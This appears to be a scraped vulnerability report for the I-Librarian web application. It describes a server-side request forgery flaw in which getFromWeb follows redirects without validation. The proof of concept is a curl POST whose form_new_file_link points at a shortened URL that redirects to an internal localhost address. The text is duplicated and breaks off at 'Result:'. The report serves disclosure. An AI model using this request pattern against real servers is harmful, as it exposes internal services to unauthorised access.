So attacker can bypass the URL check by setting form_new_file_link to a URL that redirects to an internal IP,
PoC: curl --request POST 'http://127.0.0.1/librarian/ajaxsupplement.php' --cookie 'PHPSESSID=0031ae12enlb3taa41vojindt4' --data 'form_new_file_link=https://tinyurl.com/y9waetyo&filename=serverdata.pdf' (The tinyURL redirects to http://127.0.0.1:1111/test.html.)
There is another SSRF vulnerability in the function
getFromWeb
other than the one mentioned in #120: the server side request follows redirection, and doesn't validate the destination URL: https://github.com/mkucej/i-librarian/blob/9535753a84bc615b210802d4c9542db73368d984/functions.php#L834So attacker can bypass the URL check by setting
form_new_file_link
to a URL that redirects to an internal IP,PoC:
curl --request POST 'http://127.0.0.1/librarian/ajaxsupplement.php' --cookie 'PHPSESSID=0031ae12enlb3taa41vojindt4' --data 'form_new_file_link=https://tinyurl.com/y9waetyo&filename=serverdata.pdf'
(The tinyURL redirects to http://127.0.0.1:1111/test.html.)Result: